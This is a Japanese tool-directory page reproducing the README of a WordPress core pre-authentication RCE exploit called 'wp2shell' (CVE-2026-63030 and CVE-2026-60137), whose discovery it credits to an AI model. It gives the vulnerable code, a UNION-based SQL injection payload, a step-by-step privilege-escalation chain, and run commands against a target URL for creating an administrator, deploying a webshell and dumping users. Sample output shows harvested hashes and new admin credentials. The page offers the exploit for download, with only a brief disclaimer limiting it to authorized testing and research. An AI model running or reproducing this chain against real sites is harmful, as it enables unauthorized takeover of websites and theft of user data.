Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030 — WordPress Core 認証前 RCE(REST バッチルート混乱 + SQLi 経由)(CVE-2026-63030 + CVE-2026-60137) | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-63030
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ペイロード開発
GitHubshinthink/cve-2026-63030

CVE-2026-63030

WordPress Core 認証前 RCE(REST バッチルート混乱 + SQLi 経由)(CVE-2026-63030 + CVE-2026-60137)

リポジトリを見る
41ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

WordPress Core の事前認証 RCE(REST バッチルート混乱 + SQLi 経由)


概要

CVE-2026-63030(CVSS 9.8)および CVE-2026-60137(CVSS 9.1)は、WordPress Core における重大な 事前認証リモートコード実行 チェーンを構成します。この脆弱性は、WordPress 標準インストールの全バージョン 6.9.0–6.9.4 および 7.0.0–7.0.1 に影響します。

このチェーンは、約10時間強・コスト約25ドルで GPT-5.6 Sol Ultra(OpenAI)により自律的に発見されました。これは、エクスプロイトブローカー市場で 50万ドル と評価される脆弱性クラスです。

未認証の攻撃者は、以下の手順で RCE を達成します:

  1. REST バッチルート混乱(CVE-2026-63030)— WordPress 内部のハンドラーとリクエストの配列を非同期化する
  • author__not_in 経由の SQL インジェクション(CVE-2026-60137)— スカラー文字列で absint() サニタイズをバイパスする
  • UNION SELECT キャッシュポイズニング — メモリ内に 7 個の偽 WP_Post オブジェクトを偽造する
  • oEmbed 永続化 — 読み取り専用 SQLi を実際のデータベース書き込みに変換する
  • customize_changeset ハイジャック — 一時的に管理者 ID を借用する
  • parse_request フックへの再突入 — 昇格した権限で REST API をリプレイする
  • 管理者として POST /wp/v2/users — 新しい管理者アカウントを作成する
  • アクティブインストール数: 4億7200万以上(全 Web サイトの43%)
    発見者: Adam Kues(Searchlight Cyber)経由の GPT-5.6 Sol Ultra、2026年7月
    チェーン PoC: Mustafa Can İPEKÇİ (nukedx)
    パッチ: WordPress 6.9.5 / 7.0.2 / 6.8.6(2026年7月17日)

    影響を受けるバージョン

    ブランチ影響を受けるバージョン修正版
    6.9.x6.9.0 – 6.9.46.9.5
    7.0.x7.0.0 – 7.0.17.0.2
    6.8.xSQLi のみ(CVE-2026-60137)6.8.6

    脆弱性メカニズム

    根本原因 1: バッチルート混乱(CVE-2026-63030)

    WordPress の REST バッチプロセッサ(serve_batch_request_v1)は、$validation[](検証結果)と $matches[](ルートハンドラ)の2つの配列を保持します。wp_parse_url() が不正なパス(///)で失敗すると、WP_Error が検証チェーンにはプッシュされますが、ルートマッチチェーンにはプッシュされません:

    root@kitploit:~
    // class-wp-rest-server.php
    $parsed_url = wp_parse_url( $args['path'] );
    if ( false === $parsed_url ) {
        $requests[] = new WP_Error( 'parse_path_failed', ... );
        continue;  // ← SKIPS $matches[] — desync by one index
    }
    

    このエクスプロイトは、入れ子(再帰)バッチ 呼び出しを使用して、メソッド制限とパラメータサニタイズの両方をバイパスします。

    根本原因 2: author__not_in 経由の SQL インジェクション(CVE-2026-60137)

    WP_Query は、is_array() ブランチ内でのみ absint() サニタイズを適用します。author__not_in がスカラー文字列として渡されると、サニタイズは完全にスキップされます:

    root@kitploit:~
    // class-wp-query.php
    if ( ! empty( $query_vars['author__not_in'] ) ) {
        if ( is_array( $query_vars['author__not_in'] ) ) {
            $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
        }
        $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
        $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
    }
    

    ペイロード: 0) UNION ALL SELECT ...-- - で NOT IN リストを閉じ、任意の SQL を追加します。

    昇格チェーン

    root@kitploit:~
    [1] Batch desync → bypass auth + param checks
    [2] UNION SELECT → forge 7 fake WP_Post objects in cache
        ├─ Trigger post    — [embed] shortcode
        ├─ Changeset post  — post_type=customize_changeset, post_status=future
        ├─ Outer partner   — post_parent=changeset (Loop 1)
        ├─ oEmbed target   — cache backing
        ├─ Nav menu item   — post_type=nav_menu_item
        ├─ Request post    — post_type=request, post_status=parse (Loop 2)
        └─ Inner partner   — post_parent=request
    [3] oEmbed processing → wp_update_post() → hierarchy cycle detection
    [4] Loop 1 fix → writes changeset to DB without overwriting post_content
    [5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
    [6] Loop 2 fix → writes request post → do_action("parse_request")
    [7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
    [8] POST /wp/v2/users → administrator created
    

    完全な RCE の前提条件

    必要条件理由デフォルト?
    公開済み投稿が少なくとも1件あることoEmbed キャッシュにループバック URL をシードする✅ "Hello World"
    永続オブジェクトキャッシュがないことUNION 行が split_the_query によって破棄されないようにする✅ ファイルキャッシュ
    REST API にアクセス可能parse_request 経由の再突入に REST サーバーが必要✅
    ファイルシステムへの直接書き込みプラグインのアップロードに FS_METHOD=direct が必要✅ ほとんどのホスト

    インストール

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-63030.git
    cd CVE-2026-63030
    pip3 install -r requirements.txt  # or: nothing — stdlib only
    

    使用方法

    root@kitploit:~
    # Full chain — create admin account (pre-auth)
    python3 cve_2026_63030.py --url https://target.com
    
    # Check only (non-destructive — verify vulnerability)
    python3 cve_2026_63030.py --url https://target.com --check
    
    # Full chain + deploy RCE webshell
    python3 cve_2026_63030.py --url https://target.com --rce id
    
    # Dump all users via UNION extraction
    python3 cve_2026_63030.py --url https://target.com --dump-users
    

    出力

    root@kitploit:~
    +======================================================================+
    |         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
    |   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
    +======================================================================+
      Target :  https://target.com
      Mode   :  FULL CHAIN
    
    [STEP 1] Verifying batch endpoint + route-confusion desync
      [+] Batch endpoint reachable (HTTP 207)
      [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)
    
    [STEP 2] UNION SQLi — database reconnaissance
      [+] Database version  : 8.0.46
      [+] Database user     : wp_user@localhost
      [+] Database name     : wordpress_db
      [+] Table prefix      : wp_
      [+] Admin login       : admin
      [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
      [+] Admin user ID     : 1
    
    [STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
      [*] Seeding oEmbed cache with 3 loopback URLs...
      [+] oEmbed cache IDs: [6, 7, 8]
      [*] Submitting changeset poison + user creation...
      [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0
    
    +======================================================================+
    |  EXPLOITATION COMPLETE                                               |
    +======================================================================+
      Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
      Login : https://target.com/wp-login.php
    

    ファイル

    ファイル目的
    cve_2026_63030.py単一ターゲットエクスプロイト(依存関係ゼロ)
    requirements.txtPython 依存関係(不要)

    参考情報

    • SLCyber — GPT-5.6 Sol 発見に関する記事
    • WordPress.org — セキュリティリリース
    • Wiz — 実環境での悪用
    • Tenable — FAQ

    免責事項

    認可されたセキュリティテストおよび教育研究専用です。著者は誤用に対して一切の責任を負いません。

    ツールをダウンロード